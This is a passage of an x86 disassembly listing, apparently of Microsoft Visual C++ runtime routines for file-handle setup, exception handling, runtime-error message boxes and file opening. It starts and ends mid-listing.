; ___:00423180j push esi nop call near ptr 2630000h mov eax, ebx jmp short loc_423203 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: ___:00423129j cmp eax, 2 jnz short loc_423201 loc_4231B5: ; CODE XREF: ___:00423121j cmp edi, ebx jnz short loc_4231C5 nop call near ptr 2620D20h mov edi, eax cmp edi, ebx jz short loc_423201 loc_4231C5: ; CODE XREF: ___:004231B7j cmp [edi], bl mov eax, edi jz short loc_4231D5 loc_4231CB: ; CODE XREF: ___:004231CEj ; ___:004231D3j inc eax cmp [eax], bl jnz short loc_4231CB inc eax cmp [eax], bl jnz short loc_4231CB loc_4231D5: ; CODE XREF: ___:004231C9j sub eax, edi inc eax mov ebp, eax push ebp call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx jnz short loc_4231EB xor esi, esi jmp short loc_4231F6 ; --------------------------------------------------------------------------- loc_4231EB: ; CODE XREF: ___:004231E5j push ebp push edi push esi call sub_41CAB0 add esp, 0Ch loc_4231F6: ; CODE XREF: ___:004231E9j push edi call near ptr 263003Bh nop mov eax, esi jmp short loc_423203 ; --------------------------------------------------------------------------- loc_423201: ; CODE XREF: ___:00423111j ; ___:00423139j ... xor eax, eax loc_423203: ; CODE XREF: ___:004231AEj ; ___:004231FFj pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BC9B mov esi, eax pop ecx test esi, esi jnz short loc_42322A push 1Bh call sub_41E1C9 pop ecx loc_42322A: ; CODE XREF: ___:00423220j mov dword_4DAA60, esi mov dword_4DAB60, 20h lea eax, [esi+100h] loc_423240: ; CODE XREF: ___:0042325Cj cmp esi, eax jnb short loc_42325E and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DAA60 add esi, 8 add eax, 100h jmp short loc_423240 ; --------------------------------------------------------------------------- loc_42325E: ; CODE XREF: ___:00423242j lea eax, [esp+10h] push eax nop call near ptr 28C0000h cmp word ptr [esp+42h], 0 jz loc_42333A mov eax, [esp+44h] test eax, eax jz loc_42333A mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423294 mov esi, eax loc_423294: ; CODE XREF: ___:00423290j cmp dword_4DAB60, esi jge short loc_4232EE mov edi, offset dword_4DAA64 loc_4232A1: ; CODE XREF: ___:004232E4j push 100h call sub_41BC9B test eax, eax pop ecx jz short loc_4232E8 add dword_4DAB60, 20h mov [edi], eax lea ecx, [eax+100h] loc_4232BF: ; CODE XREF: ___:004232D9j cmp eax, ecx jnb short loc_4232DB and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4232BF ; --------------------------------------------------------------------------- loc_4232DB: ; CODE XREF: ___:004232C1j add edi, 4 cmp dword_4DAB60, esi jl short loc_4232A1 jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E8: ; CODE XREF: ___:004232AEj mov esi, dword_4DAB60 loc_4232EE: ; CODE XREF: ___:0042329Aj ; ___:004232E6j xor edi, edi test esi, esi jle short loc_42333A loc_4232F4: ; CODE XREF: ___:00423338j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423331 mov cl, [ebp+0] test cl, 1 jz short loc_423331 test cl, 8 jnz short loc_423313 push eax nop call near ptr 262024Dh test eax, eax jz short loc_423331 loc_423313: ; CODE XREF: ___:00423306j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423331: ; CODE XREF: ___:004232F9j ; ___:00423301j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4232F4 loc_42333A: ; CODE XREF: ___:0042326Fj ; ___:0042327Bj ... xor ebx, ebx loc_42333C: ; CODE XREF: ___:0042339Fj mov eax, dword_4DAA60 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423397 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423357 push 0FFFFFFF6h pop eax jmp short loc_423361 ; --------------------------------------------------------------------------- loc_423357: ; CODE XREF: ___:00423350j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423361: ; CODE XREF: ___:00423355j push eax nop call near ptr 2620A66h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423386 push edi nop call near ptr 262024Dh test eax, eax jz short loc_423386 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_42338C loc_423386: ; CODE XREF: ___:0042336Dj ; ___:00423378j or byte ptr [esi+4], 40h jmp short loc_42339B ; --------------------------------------------------------------------------- loc_42338C: ; CODE XREF: ___:00423384j cmp eax, 3 jnz short loc_42339B or byte ptr [esi+4], 8 jmp short loc_42339B ; --------------------------------------------------------------------------- loc_423397: ; CODE XREF: ___:00423348j or byte ptr [esi+4], 80h loc_42339B: ; CODE XREF: ___:0042338Aj ; ___:0042338Fj ... inc ebx cmp ebx, 3 jl short loc_42333C push dword_4DAB60 nop call near ptr 2620C72h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4233C0 proc near ; DATA XREF: sub_421F92+Ao ; sub_4220C1+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423460 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4233F3: ; CODE XREF: sub_4233C0+90j cmp esi, 0FFFFFFFFh jz short loc_423459 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423447 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423447 js short loc_423452 mov edi, [ebx+8] push ebx call sub_41D2E0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D322 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D3B6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423447: ; CODE XREF: sub_4233C0+40j ; sub_4233C0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4233F3 ; --------------------------------------------------------------------------- loc_423452: ; CODE XREF: sub_4233C0+54j mov eax, 0 jmp short loc_423475 ; --------------------------------------------------------------------------- loc_423459: ; CODE XREF: sub_4233C0+36j mov eax, 1 jmp short loc_423475 ; --------------------------------------------------------------------------- loc_423460: ; CODE XREF: sub_4233C0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D322 add esp, 8 pop ebp mov eax, 1 loc_423475: ; CODE XREF: sub_4233C0+97j ; sub_4233C0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4233C0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D322 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423498 proc near ; CODE XREF: sub_41E1C9+9p mov eax, dword_4D9790 cmp eax, 1 jz short loc_4234AF test eax, eax jnz short locret_4234D0 cmp dword_43A674, 1 jnz short locret_4234D0 loc_4234AF: ; CODE XREF: sub_423498+8j push 0FCh call sub_4234D1 mov eax, dword_4D98F8 pop ecx test eax, eax jz short loc_4234C5 call eax loc_4234C5: ; CODE XREF: sub_423498+29j push 0FFh call sub_4234D1 pop ecx locret_4234D0: ; CODE XREF: sub_423498+Cj ; sub_423498+15j retn sub_423498 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234D1 proc near ; CODE XREF: sub_41E1C9+12p ; sub_423498+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43ACE8 loc_4234E4: ; CODE XREF: sub_4234D1+20j cmp edx, [eax] jz short loc_4234F3 add eax, 8 inc ecx cmp eax, offset off_43AD78 jl short loc_4234E4 loc_4234F3: ; CODE XREF: sub_4234D1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43ACE8[esi] jnz loc_423621 mov eax, dword_4D9790 cmp eax, 1 jz loc_4235FB test eax, eax jnz short loc_423524 cmp dword_43A674, 1 jz loc_4235FB loc_423524: ; CODE XREF: sub_4234D1+44j cmp edx, 0FCh jz loc_423621 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2690000h test eax, eax jnz short loc_42355B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C620 pop ecx pop ecx loc_42355B: ; CODE XREF: sub_4234D1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B960 inc eax pop ecx cmp eax, 3Ch jbe short loc_42359E lea eax, [ebp+var_1A4] push eax call sub_41B960 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BD70 add esp, 10h loc_42359E: ; CODE XREF: sub_4234D1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C620 lea eax, [ebp+var_A0] push edi push eax call sub_41C630 lea eax, [ebp+var_A0] push offset asc_427BD8 ; "\n\n" push eax call sub_41C630 push off_43ACEC[esi] lea eax, [ebp+var_A0] push eax call sub_41C630 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424C88 add esp, 2Ch pop edi jmp short loc_423621 ; --------------------------------------------------------------------------- loc_4235FB: ; CODE XREF: sub_4234D1+3Cj ; sub_4234D1+4Dj lea eax, [ebp+arg_0] lea esi, off_43ACEC[esi] push 0 push eax push dword ptr [esi] call sub_41B960 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 2620A66h push eax nop call near ptr 2720000h loc_423621: ; CODE XREF: sub_4234D1+2Ej ; sub_4234D1+59j ... pop esi leave retn sub_4234D1 endp ; =============== S U B R O U T I N E ======================================= sub_423624 proc near ; CODE XREF: sub_42393B:loc_423AB3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DAA60 loc_423633: ; CODE XREF: sub_423624+48j mov eax, [ecx] test eax, eax jz short loc_423670 lea edx, [eax+100h] loc_42363F: ; CODE XREF: sub_423624+28j cmp eax, edx jnb short loc_42365F test byte ptr [eax+4], 1 jz short loc_42364E add eax, 8 jmp short loc_42363F ; --------------------------------------------------------------------------- loc_42364E: ; CODE XREF: sub_423624+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4236B3 loc_42365F: ; CODE XREF: sub_423624+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DAB60 jl short loc_423633 jmp short loc_4236B3 ; --------------------------------------------------------------------------- loc_423670: ; CODE XREF: sub_423624+13j mov esi, 100h push esi call sub_41BC9B test eax, eax pop ecx jz short loc_4236B3 add dword_4DAB60, 20h lea ecx, ds:4DAA60h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423696: ; CODE XREF: sub_423624+88j cmp eax, edx jnb short loc_4236AE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236AE: ; CODE XREF: sub_423624+74j shl edi, 5 mov ebx, edi loc_4236B3: ; CODE XREF: sub_423624+39j ; sub_423624+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423624 endp ; =============== S U B R O U T I N E ======================================= sub_4236B9 proc near ; CODE XREF: sub_42393B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DAB60 push edi jnb short loc_423719 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423719 cmp dword_43A674, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42370F sub eax, 0 jz short loc_423706 dec eax jz short loc_423701 dec eax jnz short loc_42370F push ebx push 0FFFFFFF4h jmp short loc_423709 ; --------------------------------------------------------------------------- loc_423701: ; CODE XREF: sub_4236B9+3Ej push ebx push 0FFFFFFF5h jmp short loc_423709 ; --------------------------------------------------------------------------- loc_423706: ; CODE XREF: sub_4236B9+3Bj push ebx push 0FFFFFFF6h loc_423709: ; CODE XREF: sub_4236B9+46j ; sub_4236B9+4Bj nop call near ptr 2620000h loc_42370F: ; CODE XREF: sub_4236B9+36j ; sub_4236B9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42372D ; --------------------------------------------------------------------------- loc_423719: ; CODE XREF: sub_4236B9+Cj ; sub_4236B9+28j and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh loc_42372D: ; CODE XREF: sub_4236B9+5Ej pop edi pop esi retn sub_4236B9 endp ; =============== S U B R O U T I N E ======================================= sub_423730 proc near ; CODE XREF: sub_41E212+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DAB60 push edi jnb short loc_423793 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_423793 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_423793 cmp dword_43A674, 1 jnz short loc_423789 xor eax, eax sub ecx, eax jz short loc_423780 dec ecx jz short loc_42377B dec ecx jnz short loc_423789 push eax push 0FFFFFFF4h jmp short loc_423783 ; --------------------------------------------------------------------------- loc_42377B: ; CODE XREF: sub_423730+41j push eax push 0FFFFFFF5h jmp short loc_423783 ; --------------------------------------------------------------------------- loc_423780: ; CODE XREF: sub_423730+3Ej push eax push 0FFFFFFF6h loc_423783: ; CODE XREF: sub_423730+49j ; sub_423730+4Ej nop call near ptr 2620000h loc_423789: ; CODE XREF: sub_423730+38j ; sub_423730+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4237A7 ; --------------------------------------------------------------------------- loc_423793: ; CODE XREF: sub_423730+Cj ; sub_423730+2Aj ... and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh loc_4237A7: ; CODE XREF: sub_423730+61j pop edi pop esi retn sub_423730 endp ; =============== S U B R O U T I N E ======================================= sub_4237AA proc near ; CODE XREF: sub_41E212+32p ; sub_41E212+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jnb short loc_4237D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4237D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4237D2: ; CODE XREF: sub_4237AA+Aj ; sub_4237AA+23j and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh retn sub_4237AA endp ; =============== S U B R O U T I N E ======================================= sub_4237E7 proc near ; CODE XREF: sub_41E2F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jnb short loc_423830 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DAA60[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423830 push eax call sub_4237AA pop ecx push eax call near ptr 26107E4h nop test eax, eax jnz short loc_423825 call near ptr 26A0EA9h nop jmp short loc_423827 ; --------------------------------------------------------------------------- loc_423825: ; CODE XREF: sub_4237E7+34j xor eax, eax loc_423827: ; CODE XREF: sub_4237E7+3Cj test eax, eax jz short locret_42383D mov dword_4D9718, eax loc_423830: ; CODE XREF: sub_4237E7+Aj ; sub_4237E7+22j mov dword_4D9714, 9 or eax, 0FFFFFFFFh locret_42383D: ; CODE XREF: sub_4237E7+42j retn sub_4237E7 endp ; =============== S U B R O U T I N E ======================================= sub_42383E proc near ; DATA XREF: ___:00429024o mov eax, dword_4DAA40 push esi push 14h test eax, eax pop esi jnz short loc_423852 mov eax, 200h jmp short loc_423858 ; --------------------------------------------------------------------------- loc_423852: ; CODE XREF: sub_42383E+Bj cmp eax, esi jge short loc_42385D mov eax, esi loc_423858: ; CODE XREF: sub_42383E+12j mov dword_4DAA40, eax loc_42385D: ; CODE XREF: sub_42383E+16j push 4 push eax call sub_424D11 pop ecx mov dword_4D9A30, eax test eax, eax pop ecx jnz short loc_423891 push 4 push esi mov dword_4DAA40, esi call sub_424D11 pop ecx mov dword_4D9A30, eax test eax, eax pop ecx jnz short loc_423891 push 1Ah call sub_41E1C9 pop ecx loc_423891: ; CODE XREF: sub_42383E+30j ; sub_42383E+49j xor ecx, ecx mov eax, offset off_43AD78 loc_423898: ; CODE XREF: sub_42383E+6Ej mov edx, dword_4D9A30 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43AFF8 jl short loc_423898 xor edx, edx mov ecx, offset dword_43AD88 loc_4238B5: ; CODE XREF: sub_42383E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DAA60[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4238D2 test eax, eax jnz short loc_4238D5 loc_4238D2: ; CODE XREF: sub_42383E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4238D5: ; CODE XREF: sub_42383E+92j add ecx, 20h inc edx cmp ecx, offset dword_43ADE8 jl short loc_4238B5 pop esi retn sub_42383E endp ; =============== S U B R O U T I N E ======================================= sub_4238E3 proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424D8E SIZE 00000058 BYTES call sub_41E387 cmp byte_4D9754, 0 jz short locret_4238F6 jmp loc_424D8E ; --------------------------------------------------------------------------- locret_4238F6: ; CODE XREF: sub_4238E3+Cj retn sub_4238E3 endp ; =============== S U B R O U T I N E ======================================= sub_4238F7 proc near ; CODE XREF: sub_41EF78+32p ; sub_41F4BF+6Cp ... arg_0 = dword ptr 4 inc dword_4D98FC push 1000h call sub_41BC9B pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423920 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423931 ; --------------------------------------------------------------------------- loc_423920: ; CODE XREF: sub_4238F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423931: ; CODE XREF: sub_4238F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4238F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42393B proc near ; CODE XREF: sub_41F262+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423961 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42396C ; --------------------------------------------------------------------------- loc_423961: ; CODE XREF: sub_42393B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42396C: ; CODE XREF: sub_42393B+24j mov eax, 8000h test ecx, eax jnz short loc_423986 test ch, 40h jnz short loc_423982 cmp dword_4D9A08, eax jz short loc_423986 loc_423982: ; CODE XREF: sub_42393B+3Dj or [ebp+var_1], 80h loc_423986: ; CODE XREF: sub_42393B+38j ; sub_42393B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4239BE dec eax jz short loc_4239B5 dec eax jz short loc_4239AC loc_423997: ; CODE XREF: sub_42393B+9Fj ; sub_42393B+E8j ... mov dword_4D9714, 16h mov dword_4D9718, ebx jmp loc_423BD1 ; --------------------------------------------------------------------------- loc_4239AC: ; CODE XREF: sub_42393B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4239C5 ; --------------------------------------------------------------------------- loc_4239B5: ; CODE XREF: sub_42393B+57j mov [ebp+var_C], 40000000h jmp short loc_4239C5 ; --------------------------------------------------------------------------- loc_4239BE: ; CODE XREF: sub_42393B+54j mov [ebp+var_C], 80000000h loc_4239C5: ; CODE XREF: sub_42393B+78j ; sub_42393B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4239F3 cmp eax, 20h jz short loc_4239EA cmp eax, 30h jz short loc_4239E1 cmp eax, 40h jnz short loc_423997 mov [ebp+var_10], esi jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239E1: ; CODE XREF: sub_42393B+9Aj mov [ebp+var_10], 2 jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239EA: ; CODE XREF: sub_42393B+95j mov [ebp+var_10], 1 jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239F3: ; CODE XREF: sub_42393B+90j mov [ebp+var_10], ebx loc_4239F6: ; CODE XREF: sub_42393B+A4j ; sub_42393B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423A40 jz short loc_423A3B cmp ecx, ebx jz short loc_423A3B cmp ecx, edi jz short loc_423A32 cmp ecx, 200h jz short loc_423A59 cmp ecx, 300h jnz loc_423997 mov [ebp+var_8], 2 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A32: ; CODE XREF: sub_42393B+D8j mov [ebp+var_8], 4 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A3B: ; CODE XREF: sub_42393B+D0j ; sub_42393B+D4j mov [ebp+var_8], esi jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: sub_42393B+CEj cmp ecx, 500h jz short loc_423A62 cmp ecx, 600h jz short loc_423A59 cmp ecx, edx jz short loc_423A62 jmp loc_423997 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_42393B+E0j ; sub_42393B+113j mov [ebp+var_8], 5 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A62: ; CODE XREF: sub_42393B+10Bj ; sub_42393B+117j mov [ebp+var_8], 1 loc_423A69: ; CODE XREF: sub_42393B+F5j ; sub_42393B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423A88 mov ecx, dword_4D971C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423A88 push 1 pop esi loc_423A88: ; CODE XREF: sub_42393B+138j ; sub_42393B+148j test al, 40h jz short loc_423A96 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423A96: ; CODE XREF: sub_42393B+14Fj test ah, 10h jz short loc_423A9D or esi, edi loc_423A9D: ; CODE XREF: sub_42393B+15Ej test al, 20h jz short loc_423AA9 or esi, 8000000h jmp short loc_423AB3 ; --------------------------------------------------------------------------- loc_423AA9: ; CODE XREF: sub_42393B+164j test al, 10h jz short loc_423AB3 or esi, 10000000h loc_423AB3: ; CODE XREF: sub_42393B+16Cj ; sub_42393B+170j call sub_423624 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423AD4 and dword_4D9718, 0 mov dword_4D9714, 18h jmp short loc_423B12 ; --------------------------------------------------------------------------- loc_423AD4: ; CODE XREF: sub_42393B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 2730000h mov esi, eax cmp esi, edi jz short loc_423B05 push esi nop call near ptr 262024Dh test eax, eax jnz short loc_423B19 push esi nop call near ptr 2680000h loc_423B05: ; CODE XREF: sub_42393B+1B6j call near ptr 26A0EA9h nop push eax call sub_420314 pop ecx loc_423B12: ; CODE XREF: sub_42393B+197j mov eax, edi jmp loc_423BEF ; --------------------------------------------------------------------------- loc_423B19: ; CODE XREF: sub_42393B+1C1j cmp eax, 2 jnz short loc_423B24 or [ebp+var_1], 40h jmp short loc_423B2D ; --------------------------------------------------------------------------- loc_423B24: ; CODE XREF: sub_42393B+1E1j cmp eax, 3 jnz short loc_423B2D or [ebp+var_1], 8 loc_423B2D: ; CODE XREF: sub_42393B+1E7j ; sub_42393B+1ECj push esi push ebx call sub_4236B9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423BD6 test al, 80h jz short loc_423BD6 test byte ptr [ebp+arg_4], 2 jz short loc_423BD6 push 2 push 0FFFFFFFFh push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423B8B cmp dword_4D9718, 83h jz short loc_423BD6 jmp short loc_423BCA ; --------------------------------------------------------------------------- loc_423B8B: ; CODE XREF: sub_42393B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F051 add esp, 0Ch test eax, eax jnz short loc_423BB8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423BB8 push [ebp+var_10] push ebx call sub_424DE6 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423BCA loc_423BB8: ; CODE XREF: sub_42393B+265j ; sub_42393B+26Bj push 0 push 0 push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423BD6 loc_423BCA: ; CODE XREF: sub_42393B+24Ej ; sub_42393B+27Bj push ebx call sub_41E212 pop ecx loc_423BD1: ; CODE XREF: sub_42393B+6Cj or eax, 0FFFFFFFFh jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BD6: ; CODE XREF: sub_42393B+221j ; sub_42393B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423BED test byte ptr [ebp+arg_4], 8 jz short loc_423BED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423BED: ; CODE XREF: sub_42393B+29Fj ; sub_42393B+2A5j mov eax, ebx loc_423BEF: ; CODE XREF: sub_42393B+1D9j ; sub_42393B+299j pop edi pop esi pop ebx leave retn sub_42393B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BF4 proc near ; CODE XREF: sub_41F44A+5Ep ; sub_42001D+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C18 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4D9904 xor ebx, ebx cmp eax, ebx jnz short loc_423C63 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427908 push esi nop call near ptr 2600000h test eax, eax jz short loc_423C41 mov eax, esi jmp short loc_423C5E ; --------------------------------------------------------------------------- loc_423C41: ; CODE XREF: sub_423BF4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4C91BC push esi push ebx call near ptr 2610000h nop test eax, eax jz loc_423D29 push 2 pop eax loc_423C5E: ; CODE XREF: sub_423BF4+4Bj mov dword_4D9904, eax loc_423C63: ; CODE XREF: sub_423BF4+2Fj cmp eax, 2 jnz short loc_423C8C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423C74 mov eax, dword_4D97D0 loc_423C74: ; CODE XREF: sub_423BF4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2610000h nop jmp loc_423D2B ; --------------------------------------------------------------------------- loc_423C8C: ; CODE XREF: sub_423BF4+72j cmp eax, 1 jnz loc_423D29 cmp [ebp+arg_10], ebx jnz short loc_423CA2 mov eax, dword_4D97E0 mov [ebp+arg_10], eax loc_423CA2: ; CODE XREF: sub_423BF4+A4j push ebx push ebx push 